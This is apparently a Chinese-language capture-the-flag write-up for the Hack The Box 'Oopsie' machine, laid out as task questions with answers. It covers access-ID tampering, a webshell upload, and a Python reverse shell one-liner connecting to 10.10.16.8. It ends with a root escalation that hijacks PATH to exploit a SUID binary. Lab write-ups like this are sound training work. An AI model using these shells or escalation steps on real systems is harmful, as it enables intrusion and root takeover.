0
点赞
收藏
分享

微信扫一扫

再生橡胶衬板是什么

妖妖妈 04-09 08:30 阅读 4
安全

Task 1

With what kind of tool can intercept web traffic?

(哪种工具可以拦截web数据包)

Task 2

What is the path to the directory on the webserver that returns a login page?

(路径到返回登录页面的 Web 服务器目录是什么?)

image.png

Task 3

What can be modified in Firefox to get access to the upload page?

(在 Firefox 中进行修改什么字段可以访问上传页面?)

Task 4

What is the access ID of the admin user?

(管理员的访问ID是多少?)

image.png

水平越权

image.png

Task 5

On uploading a file, what directory does that file appear in on the server?

(上传文件后,该文件在服务器上出现在哪个目录?)

存在一个上传页面

image.png

上传一个正常图片,但是没有给路径。猜解上传路径

image.png

image.png

Task 6

What is the file that contains the password that is shared with the robert user?

(包含与 robert 用户共享的密码的文件是什么?)

Task 7

What executible is run with the option “-group bugtracker” to identify all files owned by the bugtracker group?

(使用选项"-group bugtracker"运行的可执行文件用于识别所有由bugtracker组拥有的文件。)

Task 8

Regardless of which user starts running the bugtracker executable, what’s user privileges will use to run?

(无论哪个用户启动运行 bugtracker 可执行文件,它将使用哪个用户权限来运行?)

image.png

Task 9

What SUID stands for?

(SUID代表什么)

这个文件上设置了SUID

image.png

Task 10

What is the name of the executable being called in an insecure manner?

(bugtracker中哪个参数确认为不安全)

必要步骤

方法A:一句话木马+python反弹shell

上传之后最好在uploads目录下新建一个xxx文件夹,将webshell放在这个xxx文件夹中,避免webshell被程序删除

image.png

image.png

用python来反弹shell

$ python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.16.8",10032)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash", "-i"])'

注意了,一定一定要把webshell放到文件夹里面,这样才会稳定不被删

image.png

由于还不是交互式的shell,所以要用

$ SHELL=/bin/bash script -q /dev/null

image.png

方法B:一句话木马+SSH直接连接robert

image.png

提权

image.png

image.png

/usr/bin/bugtracker 可执行文件拥有 SUID 权限位。SUID (Set User ID) 权限是一种特殊的权限,允许用户在执行该文件时以文件所有者的权限而不是当前用户的权限来执行。因此,当用户 robert 执行 bugtracker 可执行文件时,该文件会以 bugtracker 组的权限来执行,而不是 robert 用户的权限。

此外bugtracker 组对于 /usr/bin/bugtracker 文件具有执行权限,并且该文件以 root 用户的权限执行。因此,当 robert 用户执行该文件时,他会以 root 用户的权限执行该文件。

image.png

当前路径变量

image.png

将环境变量设置到tmp目录,也就意味着执行任意程序时,当前shell优先从tmp目录找命令

robert@oopsie:/$ export PATH=/tmp:$PATH

robert@oopsie:/$ cd /tmp

robert@oopsie:/tmp$ echo '/bin/bash' > cat

root身份执行cat命令并且执行/bin/bash

robert@oopsie:/tmp$ chmod +x cat

image.png

再次执行 /usr/bin/bugtracker

image.png

Users Flag

$ cat /home/robert/user.txt

image.png

Root Flag

image.png

举报

相关推荐

0 条评论